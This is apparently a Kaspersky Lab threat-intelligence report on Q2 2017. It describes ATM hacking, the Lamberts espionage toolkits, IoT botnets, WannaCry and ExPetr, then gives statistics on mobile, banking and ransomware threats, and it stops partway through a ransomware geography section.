Another attack, which, like those mentioned above, started with a bank asking us to investigate an ATM theft, turned out to be much cruder in its approach.  We found a hole, approximately 4cm in diameter, drilled near the PIN pad.  Not long after, we learned of similar attacks in Russia and Europe.  When police caught a suspect with a laptop and some wiring, things became clearer.  We disassembled the ATM to try to find out what the attacker could be trying to access from the hole.  What we found was a 10-PIN header, connected to a bus that connects all of the ATMs components and weak encryption that could be broken very quickly.  Any single part of the ATM could be used to control all the others; and since there was no authentication between the parts, any one of them could be replaced without the others realising.  It cost us around $15 and some time to create a simple circuit board that could control the ATM once we connected it to the serial bus, including dispensing money.

Fixing the problem, as our researchers highlighted, isn’t straightforward.  Patching requires a hardware update and can’t be done remotely:  a technician must visit all the affected ATMs to install it.

You can read more about these incidents here.

Meet the Lamberts

In April, we published a report on an advanced threat actor that can be compared with Duqu, Equation, Regin or ProjectSauron in terms of its complexity.  This group, which we call ‘The Lamberts’ (but which is also known as ‘Longhorn’) first came to the attention of the security community in 2014, when researchers from FireEye discovered an attack using a zero-day vulnerability (CVE-2014-4148).  This attack used malware that we call ‘Black Lambert’ to target a high profile organisation in Europe.

The group has developed and used sophisticated attack tools – including network-driven backdoors, several generations of modular backdoors, harvesting tools, and wipers – against its victims since at least 2008.  The latest samples were created in 2016.  There are currently known versions for Windows and OS X.  However, given the complexity of these projects and the existence of an implant for OS X, we think that it is highly possible that other Lamberts exist for other platforms, such as Linux.

White Lambert runs in kernel mode and intercepts network traffic on infected machines.  It decrypts packets crafted in a special format to extract instructions.  We named these passive backdoors ‘White Lambert’ to contrast with the active ‘Black Lambert’ implants.

We subsequently came by another generation of malware that we called ‘Blue Lambert’.

One of these samples is interesting because it appears to have been used as second stage malware in a high profile attack that involved the Black Lambert malware.

The family of samples called ‘Green Lambert’ is a lighter, more reliable, but older version of Blue Lambert.  Interestingly, while most Blue Lambert variants have version numbers in the range of 2.x, Green Lambert mostly includes 3.x versions.  This stands in contrast to the data gathered from export timestamps and C2 domain activity that points to Green Lambert being considerably older than Blue Lambert.  Perhaps both Blue and Green versions were developed in parallel by two different teams working under the same umbrella, as normal software version iterations, with one being deployed earlier than the other.

Signatures created for Green Lambert (Windows) have also triggered on an OS X variant of Green Lambert, with a very low version number: 1.2.0.  This was uploaded to a multi-scanner service in September 2014.  The OS X variant of Green Lambert is in many regards functionally identical to the Windows version, but it’s missing certain functionality – such as running plugins directly in memory.

Kaspersky Lab detections for Blue, Black, and Green Lamberts have been triggered by a relatively small set of victims from around the world.  While investigating one of these infections involving White Lambert (network-driven implant) and Blue Lambert (active implant), we found yet another family of tools that appear to be related.  We called this new family ‘Pink Lambert’.

The Pink Lambert toolset includes a beaconing implant, a USB-harvesting module and a multi-platform orchestrator framework that can be used to create OS-independent malware.  Versions of this particular orchestrator were found on other victims, together with White Lambert samples, indicating a close relationship between the White and Pink Lambert families.

By looking further for other undetected malware on victims of White Lambert, we found yet another, apparently related, family.  The new family, which we called ‘Gray Lambert’, is the latest iteration of passive network tools from the Lamberts’ arsenal.  The coding style of Gray Lambert is similar to the Pink Lambert USB-harvesting module.  However, the functionality mirrors that of White Lambert.  Compared to White Lambert, Gray Lambert runs in user mode, without the need for exploiting a vulnerable signed driver to load arbitrary code on 64-bit Windows systems.

Connecting all these different families by shared code, data formats, C2 server, and victims, we have arrived at the following overarching picture:

Development of The Lamberts toolkit spans several years, with most activity occurring in 2013 and 2014.

Overall, the toolkit includes highly sophisticated malware that relies on high-level techniques to sniff network traffic, run plugins in memory without touching the disk and making use of exploits against signed drivers to run unsigned code on 64-bit Windows systems.

To further exemplify the proficiency of the attackers behind The Lamberts’ toolkit, deployment of Black Lambert included a rather sophisticated TTF zero-day exploit, CVE-2014-4148.  Taking this into account, we classify The Lamberts as the same level of complexity as Duqu, Equation, Regin or ProjectSauron – that is, one of the most sophisticated cyber-espionage toolkits we have ever analysed.

In the vast majority of cases, the infection method is unknown, so there are still a lot of unknown details about these attacks and the group(s) using them.

You can read more about The Lamberts here.

The only effective way to withstand such threats is to deploy multiple layers of security, with sensors to monitor for even the slightest anomaly in organisational workflow, combined with threat intelligence and forensic analysis.

We will continue to monitor the activities of The Lamberts, as well as other targeted attack groups.  By subscribing to our APT intelligence reports, you can get access to our investigations and discoveries as they happen, including comprehensive technical data.

Malware stories More vulnerable Internet of Things things

Hackers are targeting devices that make up the Internet of Things (IoT) more and more.  One of the most dramatic examples is the Mirai botnet, which took down a portion of the Internet in October 2016 by hijacking connected home devices (such as DVRs, CCTV cameras and printers).

In our predictions for 2017 we suggested that vigilante hackers might also target IoT devices, to draw attention to the woeful lack of security in some connected devices – perhaps even going so far as to create an ‘Internet of bricks’.  In addition, there have been recent reports (here and here) of IoT malware designed to just that.

In April, we published an analysis of the Hajime botnet.  This malware, first reported in October 2016 by Rapidity Networks, infects insecure IoT devices with open Telnet ports and default passwords.  Hajime is a huge peer-to-peer botnet which, at the time of our report (25 April) comprised around 300,000 devices.  The malware is continually evolving, adding and removing functionality.  The most intriguing aspect of Hajime is its purpose. The botnet is growing, partly due to new exploitation modules, but its purpose remains unknown.  So far, it hasn’t been used for malicious activity.  It’s possible that this will never happen, because every time a new configuration file is downloaded, a piece of text is displayed while the new configuration is being processed:

On the other hand, even if it’s not used for deliberate harm, it’s possible that it might adversely affect the normal operation of an infected device.

Hajime, like other malware designed to compromised IoT devices, exploits the fact that many people don’t change the manufacturer’s default credentials when they buy a smart device. This makes it easy for attackers to access the device – they simply have to try the known default password.  In addition, there are no firmware updates for many devices.  IoT devices are also an attractive target for cybercriminals because they often have 24/7 connectivity.

These days we’re surrounded by smart devices.  This includes everyday household objects such as telephones, televisions, thermostats, refrigerators, baby monitors, fitness bracelets and even children’s toys.   However, it also includes cars, medical devices, CCTV cameras and parking meters.  Now we can add drones to the list.

At the Security Analyst Summit, security expert Jonathan Andersson showed how a skilled attacker could create a device to hijack a drone in seconds.  He used a software-defined radio (SDR), a drone’s control unit, a microcomputer and some other electronic equipment to create such a device, which he called ‘Icarus’.  He used the device to tune to the frequency a drone uses to communicate with its controller and then experimented until he learned how exactly the signals were transmitted between the devices.

Andersson explained that this threat can potentially influence the whole drone industry — from cheap toys to expensive, professional craft — because drones and controller units use data transfer protocols that are vulnerable to the same type of attack.  While stronger encryption could fix the problem, it’s not that easy because many controllers do not support software updates.   Strong encryption also requires substantial computation capacity, which leads to additional energy consumption by the controller and the drone.

Hacking drones might seem a bit far-fetched, but the use of drones is no longer just a niche activity. Last December, Amazon tested the use of drones to deliver parcels.

You can find our overview of the growing threat to IoT devices, plus advice on protecting yourself from IoT malware here.

From extortion to ExPetr

The threat from ransomware continues to grow.  Between April 2016 and March 2017, we blocked ransomware on the computers of 2,581,026 Kaspersky Lab customers.  This is an increase of 11.4 per cent on the previous 12 months.  You can read our full report on ransomware developments in 2016-17 here, but here are some of the key trends.

  • The extortion model is here to say and we’re seeing growing competition between ransomware gangs. They’re also targeting countries that had previously been unaffected – where people are less well-prepared to deal with the threat.
  • We’re seeing increasingly targeted ransomware attacks – quite simply because attacks on businesses are more profitable.
  • Ransomware is growing in sophistication and diversity, offering many ready-to-go solutions to those with fewer skills, resources or time – through a growing and increasingly efficient underground eco-system.
  • The establishment of a criminal-to-criminal infrastructure that is fuelling the development of easy-to-go, ad hoc tools to perform targeted attacks and extort money, making attacks more dispersed.
  • Global initiatives to protect people from crypto-ransomware, such as No More Ransom, will continue to gain momentum.

In May, we saw the biggest ransomware epidemic in history, called WannaCry.  The largest number of attacks occurred in Russia, but there were also victims in Ukraine, India, Taiwan and many other countries – in total, 74 countries were affected.  The malware spread very quickly – in just one day we saw more than 45,000 infections (Europol later estimated that upwards of 200,000 people had fallen victim to WannaCry).

WannaCry spread by taking advantage of a Windows exploit named ‘EternalBlue’ that relies on a vulnerability that Microsoft had patched in security update MS17-010.  The Microsoft update had been released on 14 March, one month before EternalBlue exploit was made available in the ‘Shadow Brokers’ dump.  However, many organisations hadn’t patched their systems, allowing the attackers to gain remote access to corporate systems.  It then spread to other un-patched computers on the network.

Like other cryptors, WannaCry encrypts files on an infected computer and demands a ransom to decrypt them.

The attackers initially demanded $300, but this increased top $600 as the outbreak unfolded.

To ensure that the victims didn’t miss the warning, the malware changed the wallpaper and included instructions on how to locate the decryptor tool dropped by the malware.

It’s clear from our research that the quality of the WannaCry code is poor and the developers made many mistakes, enabling many of those infected to recover encrypted data.  The way the attackers handled ransom payments limited their ability to capitalise on the spread of the worm.  Multiple attempts were made to track transactions to the bitcoin wallets used by the attackers.  Although estimates of how much money the attackers made vary, they run into tens of thousands, rather than hundreds

The timeline for attacks in the first week shows the impact of cyber-security efforts in combating the threat.

Not least among them was the discovery of a kill-switch.  There’s a special check at the start of the code.  It tries to connect to a hard-coded web site:  if the connection fails the attack continues, if the connection is made, the code exits.  By registering this domain and pointing it to a sink-hole server, a UK researcher was able to slow the infection of the worm.

A few days into the outbreak, Neel Mehta, a researcher at Google, posted a mysterious tweet using the #WannaCryptAttribution hashtag referring to a similarity between two code samples.  One was a WannaCry sample from February 2017 that looked like an early variant of the worm.  The other was a Lazarus sample from February 2017.  Kaspersky Lab and others confirmed the similarity.  It’s too early to say for sure if WannaCry was the work of the Lazarus group – more research is required to see if the dots join up.

You can find our original blog post here, our FAQ here and our comparison of the WannaCry and Lazarus samples here.

Towards the end of June, we saw reports of a new wave of ransomware attacks.  The malware, which we called ExPetr (but known variously as Petya, Petrwrap and NotPetya) primarily targeted businesses in Ukraine, Russia and Europe – around 2,000 in total.

ExPetr uses a modified version of the EternalBlue exploit, as well as another exploit made public by the Shadow Brokers, called ‘EternalRomance’.  The malware spread as an update to MeDoc – a Ukrainian accounting application – and through watering-hole attacks.  Once inside the target organisation, the ransomware uses custom tools to extract credentials from the ‘lsass.exe’ process and passes them to PsExec or WMIC tools for further distribution within the network.

The malware waits for 10 minutes to an hour before re-booting the computer and then encrypts the MFT in NTFS partitions, overwriting the MBR with a customised loader containing a ransom demand.

ExPetr encrypts files as well as encrypting the MFT.  The attackers demanded $300 in Bitcoins for the key to decrypt ransomed data, payable to a unified Bitcoin account.  In principle – and unlike WannaCry – this technique could have worked because the attackers asked the victims to send their wallet numbers by e-mail to ‘wowsmith123456@posteo.net’, thus confirming the transactions.  However, this e-mail account was quickly shut down, limiting the scope of the attackers to make money.

Following further analysis of the encryption routine, we concluded, as did some other researchers, that it isn’t possible for the attackers to decrypt the victims’ disks, even if payment is made.  This suggests that ExPetr was a wiper masquerading as ransomware.  There is even a suggestion that there might be a connection between ExPetr and the BlackEnergy KillDisk ransomware from 2015 and 2016.

ExPetr wasn’t the only ransomware that was distributed via MeDoc updates on 27 June 27.  Another ransomware program, which we called FakeCry, was distributed to MeDoc customers at the same time.  Our data indicate that 90 organisations received this malware, nearly all of them in Ukraine.

While the interface and messages closely resemble WannaCry, it is an entirely different malware family.  We believe that FakeCry was designed with false flags in mind.  One of the most interesting questions is whether FakeCry and ExPetr are related – as is suggested by the fact that both were distributed at the same time through MeDoc updates.

Here are our recommendations on how to protect against ransomware attacks.

  • Run a robust anti-malware suite with embedded anti-ransomware protection (such as Kaspersky Lab’s System Watcher).
  • Apply security updates for your operating system and applications as soon as they become available.
  • Do not open attachments, or click on links, from untrusted sources.
  • Backup sensitive data to external storage and keep it offline.
  • Never pay the ransom. Not only does this fuel the next wave of ransomware attacks, but also there is no guarantee that the criminals will restore your data.
2017. augusztus 15.

IT threat evolution Q2 2017. Statistics

Q2 figures

According to KSN data, Kaspersky Lab solutions detected and repelled 342, 566, 061 malicious attacks from online resources located in 191 countries all over the world.

33, 006, 783 unique URLs were recognized as malicious by web antivirus components.

Attempted infections by malware that aims to steal money via online access to bank accounts were registered on 224, 675 user computers.

Crypto ransomware attacks were blocked on 246, 675 computers of unique users.

Kaspersky Lab’s file antivirus detected a total of 185, 801, 835 unique malicious and potentially unwanted objects.

Kaspersky Lab mobile security products detected:

  • 1, 319, 148 malicious installation packages;
  • 28, 976 mobile banker Trojans (installation packages);
  • 200, 054 mobile ransomware Trojans (installation packages).
Mobile threats Q2 events SMS spam

As we wrote in the previous quarter, fraudsters had begun to actively use the Trojan-Banker.AndroidOS.Asacub mobile banker, distributing it via SMS spam. At the end of Q2, we detected a much larger campaign to spread it: in June, there were three times as many attacked users as in April, and judging by the first week of July, this growth continues.

The number of unique users attacked by Trojan-Banker.AndroidOS.Asacub in Q2 2017

Revamped ZTorg

Yet another interesting theme discussed in our report for the first quarter of 2017 remained relevant in Q2: the attackers continued to upload to Google Play new applications with the malicious Ztorg module. Interestingly, in the second quarter, we registered the cases of uploading additional Ztrog modules, not just the main ones. For example, we found the Trojan that could install and even buy apps on Google Play. We also discovered Trojan-SMS.AndroidOS.Ztorg.a, which could send paid SMS.

Of note is the fact that unlike the main Ztrog module, neither of the two malware samples attempted to exploit system vulnerabilities to obtain root privileges. To recap, Trojan.AndroidOS.Ztorg tries to get root privileges to display ads and secretly install new applications, including additional modules mentioned above.

Meet the new Trojan – Dvmap

In April 2017 we discovered a new rooting malware distributed via the official Google Play Store — Trojan.AndroidOS.Dvmap.a.  Dvmap is very special rooting malware: it modifies system libraries.  The Trojan exploits system vulnerabilities to obtain root privileges, and then injects its malicious code into the system library.

WAP billing subscriptions

In the second quarter of 2017, we registered an increase in the activity of Trojans designed to steal user money utilizing the mechanism of paid subscriptions (two years ago we wrote about similar attacks). To recap, the services of paid subscriptions are special sites that allow users to pay for services by deducting a certain amount of money from their phone accounts. Before getting the service, the client is redirected to the site of the cellular service provider, where he is asked to confirm his operation. The provider may also use SMS to confirm the payment. The Trojans have learned to bypass these restrictions: without user’s awareness they click on forms of confirmation, using special JS files. In addition, the Trojans can hide messages from the cellular service provider from the user.

We have discovered that in some cases after the infection, Trojan Ztorg can install additional modules with this functionality. Meanwhile the Trojan-Clicker.AndroidOS.Xafekopy family is capable of attacking such services in India and Russia, using JS files similar to those used by Ztrog.

Two malware samples from our Top 20 Trojan programs most popular in Q2 2017 were also attacking WAP subscriptions. They are Trojan-Clicker.AndroidOS.Autosus.a and Trojan-Dropper.AndroidOS.Agent.hb. Moreover, the most popular Trojans of the quarter detected by our machine learning-based system were also malicious programs utilizing mobile subscriptions.

Mobile threat statistics

In the second quarter of 2017, Kaspersky Lab detected 1,319, 148 malicious installation packages, which is almost as many as in two previous quarters.

Number of detected malicious installation packages (Q3 2016 – Q2 2017)

Distribution of mobile malware by type

Distribution of new mobile malware by type (Q1 and Q2 2017)

In Q2 2017, the biggest growth was demonstrated by Adware (13.31%) – its share increased by 5.99% p.p. The majority of all discovered installation packages are detected as AdWare.AndroidOS.Ewind.iz and AdWare.AndroidOS.Agent.n.

Trojan-SMS malware (6.83%) ranked second in terms of the growth rate: its contribution increased by 2.15 percentage points. Most of detected installation packages belonged to the Trojan-SMS.AndroidOS.Opfake.bo and Trojan-SMS.AndroidOS.FakeInst.a families, which percentage grew more than three-fold from the previous quarter.

The biggest decline was demonstrated by Trojan-Spy (3.88%). To recap, the growth rate of this type of malware were one of the highest in Q1 2017. This was caused by the increase in the number malicious programs belonging to the Trojan-Spy.AndroidOS.SmForw and Trojan-Spy.AndroidOS.SmsThief families.

The contribution of Trojan-Ransom programs, which had come first in terms of the growth rate in the first quarter of 2017, dropped by 2.55 p.p. and accounted for 15.09% in Q2.

TOP 20 mobile malware programs

Please note that this rating of malicious programs does not include potentially dangerous or unwanted programs such as RiskTool or adware.

1 DangerousObject.Multi.Generic 62.27% 2 Trojan.AndroidOS.Boogr.gsh 15.46% 3 Trojan.AndroidOS.Hiddad.an 4.20% 4 Trojan-Dropper.AndroidOS.Hqwar.i 3.59% 5 Backdoor.AndroidOS.Ztorg.c 3.41% 6 Trojan-Dropper.AndroidOS.Agent.hb 3.16% 7 Backdoor.AndroidOS.Ztorg.a 3.09% 8 Trojan.AndroidOS.Sivu.c 2.78% 9 Trojan-Dropper.AndroidOS.Lezok.b 2.30% 10 Trojan.AndroidOS.Ztorg.ag 2.09% 11 Trojan-Clicker.AndroidOS.Autosus.a 2.08% 12 Trojan.AndroidOS.Hiddad.pac 2.08% 13 Trojan.AndroidOS.Ztorg.aa 1.74% 14 Trojan.AndroidOS.Agent.bw 1.67% 15 Trojan.AndroidOS.Agent.gp 1.54% 16 Trojan.AndroidOS.Hiddad.ao 1.51% 17 Trojan-Banker.AndroidOS.Svpeng.q 1.49% 18 Trojan.AndroidOS.Agent.ou 1.39% 19 Trojan.AndroidOS.Loki.d 1.38% 20 Trojan.AndroidOS.Agent.eb 1.32%

* Percentage of unique users attacked by the malware in question, relative to all users of Kaspersky Lab’s mobile security product that were attacked.

First place was occupied by DangerousObject.Multi.Generic (62.27%), the verdict used for malicious programs detected using cloud technologies. Cloud technologies work when the antivirus database contains neither the signatures nor heuristics to detect a malicious program, but the cloud of the antivirus company already contains information about the object. This is basically how the very latest malware is detected.

Second came Trojan.AndroidOS.Boogr.gsh (15.46%). Such verdict is issued for files recognized as malicious by our system based on machine learning. The share of this verdict increased nearly threefold from the previous quarter which allowed it to move up from third to second place. In Q2 2017, this system most often detected Trojans which subscribed users to paid services as well as advertising Trojans which used superuser privileges.

Trojan.AndroidOS.Hiddad.an (4.20%) was third. This piece of malware imitates different popular games or programs. Interestingly, once run, it downloads and installs the application it imitated. In this case, the Trojan requests administrator rights to combat its removal. The main purpose of Trojan.AndroidOS.Hiddad.an is aggressive display of adverts, its main “audience” is in Russia. In the previous quarter it occupied second position.

Trojan-Dropper.AndroidOS.Hqwar.i (3.59%), the verdict used for the Trojans protected by a certain packer/obfuscator climbed from eighth to fourth position in the ranking. In most cases, this name hides the representatives of the FakeToken and Svpeng mobile banking families.

On fifth position was Trojan Backdoor.AndroidOS.Ztorg.c., one of the most active advertising Trojans which uses superuser rights. In the second quarter of 2017, our TOP 20 included eleven Trojans (highlighted in blue in the table) which tried to obtain or use root rights and which exploited advertising as the main means of monetization. Their goal is to deliver ads to the user more aggressively, applying (among other methods) hidden installation of new advertising programs. At the same time, superuser privileges help them “hide” in the system folder, thus making it very difficult to remove them. Of note is the fact that the number of such type of malware in the TOP 20 has been decreasing recently (in Q1 2017, there were fourteen Trojans of such type in the ranking).

Trojan-Dropper.AndroidOS.Agent.hb (3.16%) was sixth in the ranking. It is a complex modular Trojan, which main malicious part should be downloaded from the server of cybercriminals. We can assume that this Trojan is designed to steal money through paid subscriptions.

Eleventh place is occupied by Trojan-Clicker.AndroidOS.Autosus.a (2.08%) which main task is the activation of paid subscriptions. To do this, it “clicks” on the buttons in web catalogs of subscriptions, as well as hides incoming SMS with the information about them.

Trojan.AndroidOS.Agent.bw was fourteenth in the rating (1.67%). This Trojan, targeting primarily people in India (more than 92% of attacked users), just like Trojan.AndroidOS.Hiddad.an imitates popular programs and games, and once run, downloads and installs various applications from the fraudsters’ server.

Fifteenth came Trojan.AndroidOS.Agent.gp (1.54%), which steals user money making paid calls. Due to the use of administrator rights, it counteracts attempts to remove it from an infected device.

The ranking also included Trojan-Banker.AndroidOS.Svpeng (1.49%), which was seventeenth in the Top 20. This family has been active for three quarters in a row and remains the most popular banking Trojan in Q2 of 2017.

The geography of mobile threats

The geography of attempted mobile malware infections in Q2 2017 (percentage of all users attacked)

TOP 10 countries attacked by mobile malware (ranked by percentage of users attacked)

Country* % of users attacked ** 1 Iran 44.78% 2 China 31.49% 3 Bangladesh 27.10% 4 Indonesia 26.12% 5 Algeria 25.22% 6 Nigeria 24.81% 7 India 24.53% 8 Côte d’Ivoire 24.31% 9 Ghana 23.20% 10 Kenya 22.85%

* We eliminated countries from this rating where the number of users of Kaspersky Lab’s mobile security product is relatively low (under 10,000).
** Percentage of unique users attacked in each country relative to all users of Kaspersky Lab’s mobile security product in the country.

As in the previous quarter, in Q2 2017 Iran was the country with the highest percentage of users attacked by mobile malware – 44.78%. China came second: 31.49% of users there encountered a mobile threat at least once during the quarter. It was followed by Bangladesh (27.10%).

Russia (12.10%) came 26th in Q2 of 2017 (vs 40th place in the previous quarter), France (6.04%) 58th, the US (4.5%) 71st, Italy (5.7%) 62nd, Germany (4.8%) 67th, Great Britain (4.3%) 73rd.

The safest countries were Denmark (2.7%), Finland (2.6%) and Japan (1.3%).

Mobile banking Trojans

Over the reporting period, we detected 28, 976 installation packages for mobile banking Trojans, which is 1.1 times less than in Q1 2017.

Number of installation packages for mobile banking Trojans detected by Kaspersky Lab solutions (Q3 2016 – Q2 2017)

Trojan-Banker.AndroidOS.Svpeng.q remained the most popular mobile banking Trojan for several quarters in a row. This family of mobile banking Trojans uses phishing windows to steal credit card data and logins and passwords from online banking accounts. In addition, fraudsters steal money via SMS services, including mobile banking.

Svpeng is followed by Trojan-Banker.AndroidOS.Hqwar.jck and Trojan-Banker.AndroidOS.Asacub.af. It is worth noting that most of users attacked by these three banking Trojans were in Russia.

Geography of mobile banking threats in Q2 2017 (percentage of all users attacked)

TOP 10 countries attacked by mobile banker Trojans (ranked by percentage of users attacked)

Country* % of users attacked** 1 Russia 1.63% 2 Australia 0.81% 3 Turkey 0.81% 4 Tajikistan 0.44% 5 Uzbekistan 0.44% 6 Ukraine 0.41% 7 Latvia 0.38% 8 Kyrgryzstan 0.34% 9 Moldova 0.34% 10 Kazakhstan 0.32%

* We eliminated countries from this rating where the number of users of Kaspersky Lab’s mobile security product is relatively low (under 10,000).
** Percentage of unique users in each country attacked by mobile banker Trojans, relative to all users of Kaspersky Lab’s mobile security product in the country.

In Q2 2017, the TOP 10 countries attacked by mobile banker Trojans remained practically unchanged: Russia (1.63%) topped the ranking again. In second place was Australia (0.81%), where the Trojan-Banker.AndroidOS.Acecard and Trojan-Banker.AndroidOS.Marcher families were the most popular threats. Turkey (0.81%) rounded off the Top 3.

Mobile Ransomware

In Q2 2017, we detected 200, 054 mobile Trojan-Ransomware installation packages which is much more than in the fourth quarter of 2016.

Number of mobile Trojan-Ransomware installation packages detected by Kaspersky Lab (Q3 2016 – Q2 2017)

In the first half of 2017, we discovered more mobile ransomware installation packages than for any other period. The reason was the Trojan-Ransom.AndroidOS.Congur family. Usually, the representatives of Congur have very simple functionality – they change the system password (PIN), or install it if no password was installed earlier, thus making it impossible to use the device, and then ask that user to contact the fraudsters via the QQ messenger to unblock it. It is worth noting that there are modifications of this Trojan that can take advantage of existing superuser privileges to install their module into the system folder.

Trojan-Ransom.AndroidOS.Fusob.h remained the most popular mobile Trojan-Ransomware in Q2, accounting for nearly 20% of users attacked by mobile ransomware, which is half as much as in the previous quarter. Once run, the Trojan requests administrator privileges, collects information about the device, including GPS coordinates and call history, and downloads the data to a malicious server. After that, it may receive a command to block the device.

Geography of mobile Trojan-Ransomware in Q2 2017 (percentage of all users attacked)

TOP 10 counties attacked by mobile Trojan-Ransomware (ranked by percentage of users attacked)

Country* % of users attacked** 1 USA 1.24% 2 China 0.88% 3 Italy 0.57% 4 Belgium 0.54% 5 Canada 0.41% 6 Kazakhstan 0.41% 7 Ireland 0.37% 8 Germany 0.34% 9 Norway 0.31% 10 Sweden 0.29%

* We eliminated countries from this ranking where the number of users of Kaspersky Lab’s mobile security product is lower than 10,000.
** Percentage of unique users in each country attacked by mobile Trojan-Ransomware, relative to all users of Kaspersky Lab’s mobile security product in the country.

The US topped the ranking of ten countries attacked by mobile Trojan-Ransomware; the most popular family there was Trojan-Ransom.AndroidOS.Svpeng. These Trojans appeared in 2014 as a modification of the Trojan-Banker.AndroidOS.Svpeng mobile banking family. They demand a ransom of $100-500 from victims to unblock their devices.

In China (0.65%), which came second in Q2 2017, most of mobile ransomware attacks involved Trojan-Ransom.AndroidOS.Congur.

Italy (0.57%) came third. The main threat to users originated from Trojan-Ransom.AndroidOS.Egat.d. This Trojan is mostly spread in Europe and demands $100-200 to unblock the devilce.

Vulnerable apps exploited by cybercriminals

The second quarter of 2017, especially popular were campaigns involving in-the-wild vulnerabilities. The appearance of several 0-day vulnerabilities for Microsoft Office resulted in a significant change in the pattern of exploits used.

The logical vulnerability in processing HTA objects CVE-2017-0199, which allows an attacker to execute arbitrary code on a remote machine using a specially generated file, was detected in early April. And despite the fact that the update fixing this vulnerability was published on April 11, the number of attacked Microsoft Office users soared almost threefold, to 1.5 million. 71% of all attacks on Microsoft Office users were implemented using this vulnerability; documents with exploits for CVE-2017-0199 were very actively used in spam mailings.

Distribution of exploits used in attacks by the type of application attacked, Q2 2017

This was caused by several reasons – simplicity and reliability of its exploitation on all MS Office and Windows versions and rapid appearance of document generators with the CVE-2017-0199 exploit in open access which significantly reduced the entry threshold for exploitation of this vulnerability. In comparison, two other zero-day vulnerabilities in MS Office related to memory corruption vulnerability due to incorrect processing of EPS files – CVE-2017-0261 and CVE-2017-0262 – accounted for only 5%.

However, the main event of Q2 was publication by the Shadow Brokers hacker group of the archive with utilities and exploits, supposedly developed by the US special services. The Lost In Translation archive contained a large number of network exploits for various Windows versions. And even though most of those vulnerabilities were not zero-day vulnerabilities and had been patched by the MS17-010 update a month before the leak, the publication had horrendous consequences. The damage from worms, Trojans and ransomware cryptors being distributed via the network with the help of EternalBlue and EternalRomance, as well as the number of users infected, is incalculable. In the second quarter of 2017 only Kaspersky Lab blocked more over five million attempted attacks involving network exploits from the archive. And the average number of attacks per day was constantly growing: 82% of all attacks were detected in the last 30 days.

The statistics on the IDS component using ShadowBrokers exploits over the last month.

A sharp peak at the end of the month was the appearance of the ExPetr cryptor, which used modified EternalBlue and EternalRomance exploits as one of proliferation methods.

Online threats (Web-based attacks) Online threats in the banking sector

These statistics are based on detection verdicts of Kaspersky Lab products, received from users of Kaspersky Lab products who have consented to provide their statistical data. Beginning from the first quarter of 2017 the statistics include malicious programs for ATMs and POS terminals but does not include mobile threats.

Kaspersky Lab solutions blocked attempts to launch one or several malicious programs capable of stealing money via online banking on 224,000 computers in Q2 2017.

Number of users attacked by financial malware, April – June 2017

Geography of attacks

To evaluate and compare the risk of being infected by banking Trojans and ATM and POS-malware worldwide, we calculate the percentage of Kaspersky Lab product users in the country who encountered this type of threat during the reporting period, relative to all users of our products in that country.

Geography of banking malware attacks in Q2 2017 (percentage of attacked users)

TOP 10 countries by percentage of attacked users

Country* % of attacked users** Germany 2.61 Togo 2.14 Libya 1.77 Palestine 1.53 Lebanon 1.44 Venezuela 1.39 Tunisia 1.35 Serbia 1.28 Bahrain 1.26 Taiwan 1.23

These statistics are based on detection verdicts returned by the antivirus module, received from users of Kaspersky Lab products who have consented to provide their statistical data.
* We excluded those countries in which the number of Kaspersky Lab product users is relatively small (under 10,000).
** Unique users whose computers have been targeted by banking Trojan and PoS/ATM malware attacks as a percentage of all unique users of Kaspersky Lab products in the country.

In the second quarter of 2017, Germany (2.61%) had the highest proportion of users attacked by banking Trojans. It was followed by Togo (2.14%). Libya (1.77%) rounded off the Top 3.

The TOP 10 banking malware families

The table below shows the TOP 10 malware families used in Q2 2017 to attack online banking users (as a percentage of users attacked):

Name* % of attacked users** Trojan-Spy.Win32.Zbot 32.58 Trojan.Win32.Nymaim 26.02 Trojan-Banker.Win32.Emotet 7.05 Trojan.Win32.Neurevt 6.08 Trojan-Spy.Win32.SpyEyes 6.01 Worm.Win32.Cridex 4.09 Trojan-Banker.Win32.Gozi 2.66 Backdoor.Win32.Shiz 2.19 Trojan.Multi.Capper 1.9 Trojan.Win32.Tinba 1.9

* The detection verdicts of Kaspersky Lab products, received from users of Kaspersky Lab products who have consented to provide their statistical data.
** Unique users whose computers have been targeted by the malware in question as a percentage of all users attacked by financial malware.

In Q2 2017, Trojan-Spy.Win32.Zbot (32.58%) remained the most popular malware family. Its source codes have been publicly available since a leak, so cybercriminals regularly enhance the family with new modifications compiled on the basis of the source code and containing minor differences from the original.

Second came Trojan.Win32.Nymaim (26.02%). The first modifications of malware belonging to this Trojan family were downloaders, which blocked the infected machine with the help of downloaded programs unique for each country. Later, new modifications of the Trojan.Win32.Nymaim family malware were discovered. They included a fragment of Gozi used by cybercriminals to steal user payment data in online banking systems. In Q1 2017, Gozi (2.66%) was on 7th position in the rating.

Ransomware Trojans

May of 2017 saw the break out of the unprecedented epidemic of the Wannacry 2.0 ransomware cryptor, which spread using the worm that exploited a vulnerability in several Windows versions.

No sooner had this epidemic died down than in June 2017 a massive attack involving another Trojan – ExPetr – occurred. Wannacry 2.0 did not have obvious geographic preferences and attacked all countries indiscriminately, while ExPetr chose Ukraine its main target. Kaspersky Lab specialists have found out that ExPetr encrypts MFT (system area of the NTFS file system) irreversibly which means an affected user’s computer will not be completely restored the even if he pays the ransom.

Apart from the large-scale epidemics that shook the world, in Q2 2017 an interesting trend emerged: several criminal groups behind different ransomware cryptors concluded their activities and published their secret keys needed to decrypt victims’ files. Below is the list of families, the keys to which became public during the reporting period:

  • Crysis (Trojan-Ransom.Win32.Crusis);
  • AES-NI (Trojan-Ransom.Win32.AecHu);
  • xdata (Trojan-Ransom.Win32.AecHu);
  • Petya/Mischa/GoldenEye (Trojan-Ransom.Win32.Petr).
The number of new modifications

In Q2 of 2017, we discovered 15 new ransomware families. The number of new modifications was 15,663 which is considerably less than the number of modifications appeared in the previous quarter. Also, in the first quarter most of the new modifications turned to be the Cerberus cryptor variants, while in the second quarter this verdict faded into the background, giving way to the new cryptor – the world infamous Wannacry.

The number of new ransomware modifications, Q2 2016 – Q2 2017

Currently we observe a sharp decrease in the number of new Cerber samples. Probably, it means that the development and distribution of this malware family is coming to an end. Time will tell whether that is true or not. Along with Cerber, the total number of ransomware modifications is going down in the second quarter of 2017.

The number of users attacked by ransomware

In Q2 2017, 246, 675 unique KSN users were attacked by cryptors which is almost as many as of the previous quarter. Despite the drop in the quantity of new modifications, the number of protected users grew.

Number of unique users attacked by Trojan-Ransom cryptor malware (Q2 2017)

The geography of attacks

